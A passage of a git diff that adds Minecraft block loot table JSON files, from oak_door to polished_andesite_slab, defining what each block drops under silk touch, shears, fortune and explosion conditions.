"minecraft:block_state_property", + "block": "minecraft:oak_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:oak_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_fence.json b/src/data/minecraft/loot_tables/blocks/oak_fence.json new file mode 100644 index 00000000..c132eb06 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_fence_gate.json b/src/data/minecraft/loot_tables/blocks/oak_fence_gate.json new file mode 100644 index 00000000..1d243161 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_leaves.json b/src/data/minecraft/loot_tables/blocks/oak_leaves.json new file mode 100644 index 00000000..4755803d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_leaves.json @@ -0,0 +1,182 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:oak_leaves" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.05, + 0.0625, + 0.083333336, + 0.1 + ] + } + ], + "name": "minecraft:oak_sapling" + } + ] + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.02, + 0.022222223, + 0.025, + 0.033333335, + 0.1 + ] + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stick" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.005, + 0.0055555557, + 0.00625, + 0.008333334, + 0.025 + ] + } + ], + "name": "minecraft:apple" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_log.json b/src/data/minecraft/loot_tables/blocks/oak_log.json new file mode 100644 index 00000000..e65051b2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_planks.json b/src/data/minecraft/loot_tables/blocks/oak_planks.json new file mode 100644 index 00000000..97459459 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/oak_pressure_plate.json new file mode 100644 index 00000000..3f564e75 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_sapling.json b/src/data/minecraft/loot_tables/blocks/oak_sapling.json new file mode 100644 index 00000000..b0221fe2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_sapling.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_sign.json b/src/data/minecraft/loot_tables/blocks/oak_sign.json new file mode 100644 index 00000000..f916f207 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_slab.json b/src/data/minecraft/loot_tables/blocks/oak_slab.json new file mode 100644 index 00000000..0c1fff84 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:oak_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:oak_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_stairs.json b/src/data/minecraft/loot_tables/blocks/oak_stairs.json new file mode 100644 index 00000000..bd3506ac --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_trapdoor.json b/src/data/minecraft/loot_tables/blocks/oak_trapdoor.json new file mode 100644 index 00000000..aaf8e751 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oak_wood.json b/src/data/minecraft/loot_tables/blocks/oak_wood.json new file mode 100644 index 00000000..a6fc8c1b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oak_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oak_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/observer.json b/src/data/minecraft/loot_tables/blocks/observer.json new file mode 100644 index 00000000..dc340dfe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/observer.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:observer" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/obsidian.json b/src/data/minecraft/loot_tables/blocks/obsidian.json new file mode 100644 index 00000000..d2bf0c6b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/obsidian.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:obsidian" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_banner.json b/src/data/minecraft/loot_tables/blocks/orange_banner.json new file mode 100644 index 00000000..e43d1f37 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:orange_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_bed.json b/src/data/minecraft/loot_tables/blocks/orange_bed.json new file mode 100644 index 00000000..538d95fe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:orange_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:orange_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_carpet.json b/src/data/minecraft/loot_tables/blocks/orange_carpet.json new file mode 100644 index 00000000..695ceb7f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_concrete.json b/src/data/minecraft/loot_tables/blocks/orange_concrete.json new file mode 100644 index 00000000..61c2b299 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/orange_concrete_powder.json new file mode 100644 index 00000000..bf781f71 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/orange_glazed_terracotta.json new file mode 100644 index 00000000..f398d128 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_shulker_box.json b/src/data/minecraft/loot_tables/blocks/orange_shulker_box.json new file mode 100644 index 00000000..02ac95f6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:orange_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_stained_glass.json b/src/data/minecraft/loot_tables/blocks/orange_stained_glass.json new file mode 100644 index 00000000..15c341fd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/orange_stained_glass_pane.json new file mode 100644 index 00000000..f04fee2f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_terracotta.json b/src/data/minecraft/loot_tables/blocks/orange_terracotta.json new file mode 100644 index 00000000..29e2f4f1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_tulip.json b/src/data/minecraft/loot_tables/blocks/orange_tulip.json new file mode 100644 index 00000000..c51e30ca --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_tulip.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/orange_wool.json b/src/data/minecraft/loot_tables/blocks/orange_wool.json new file mode 100644 index 00000000..6f338830 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/orange_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:orange_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/oxeye_daisy.json b/src/data/minecraft/loot_tables/blocks/oxeye_daisy.json new file mode 100644 index 00000000..eaa849ea --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/oxeye_daisy.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:oxeye_daisy" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/packed_ice.json b/src/data/minecraft/loot_tables/blocks/packed_ice.json new file mode 100644 index 00000000..51a6d2d2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/packed_ice.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:packed_ice" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/peony.json b/src/data/minecraft/loot_tables/blocks/peony.json new file mode 100644 index 00000000..bda5cddb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/peony.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:peony", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:peony" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/petrified_oak_slab.json b/src/data/minecraft/loot_tables/blocks/petrified_oak_slab.json new file mode 100644 index 00000000..6dd68606 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/petrified_oak_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:petrified_oak_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:petrified_oak_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_banner.json b/src/data/minecraft/loot_tables/blocks/pink_banner.json new file mode 100644 index 00000000..2cefba89 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:pink_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_bed.json b/src/data/minecraft/loot_tables/blocks/pink_bed.json new file mode 100644 index 00000000..85e1db4d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pink_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:pink_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_carpet.json b/src/data/minecraft/loot_tables/blocks/pink_carpet.json new file mode 100644 index 00000000..c5a3725d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_concrete.json b/src/data/minecraft/loot_tables/blocks/pink_concrete.json new file mode 100644 index 00000000..5f3547d5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/pink_concrete_powder.json new file mode 100644 index 00000000..c6941e57 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/pink_glazed_terracotta.json new file mode 100644 index 00000000..25603698 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_shulker_box.json b/src/data/minecraft/loot_tables/blocks/pink_shulker_box.json new file mode 100644 index 00000000..b72fee6a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:pink_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_stained_glass.json b/src/data/minecraft/loot_tables/blocks/pink_stained_glass.json new file mode 100644 index 00000000..b72b57ab --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/pink_stained_glass_pane.json new file mode 100644 index 00000000..d112480c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_terracotta.json b/src/data/minecraft/loot_tables/blocks/pink_terracotta.json new file mode 100644 index 00000000..4f34e6a9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_tulip.json b/src/data/minecraft/loot_tables/blocks/pink_tulip.json new file mode 100644 index 00000000..d629c73c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_tulip.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pink_wool.json b/src/data/minecraft/loot_tables/blocks/pink_wool.json new file mode 100644 index 00000000..0fc61362 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pink_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pink_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/piston.json b/src/data/minecraft/loot_tables/blocks/piston.json new file mode 100644 index 00000000..1195ab34 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/piston.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:piston" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/player_head.json b/src/data/minecraft/loot_tables/blocks/player_head.json new file mode 100644 index 00000000..3425cfe5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/player_head.json @@ -0,0 +1,27 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "SkullOwner", + "target": "SkullOwner", + "op": "replace" + } + ] + } + ], + "name": "minecraft:player_head" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/podzol.json b/src/data/minecraft/loot_tables/blocks/podzol.json new file mode 100644 index 00000000..ffdc8488 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/podzol.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:podzol" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dirt" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_andesite.json b/src/data/minecraft/loot_tables/blocks/polished_andesite.json new file mode 100644 index 00000000..8d5850fe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/polished_andesite.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:polished_andesite" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/polished_andesite_slab.json b/src/data/minecraft/loot_tables/blocks/polished_andesite_slab.json new file mode 100644 index 00000000..cc5fbfb7 --- /dev/null +++ 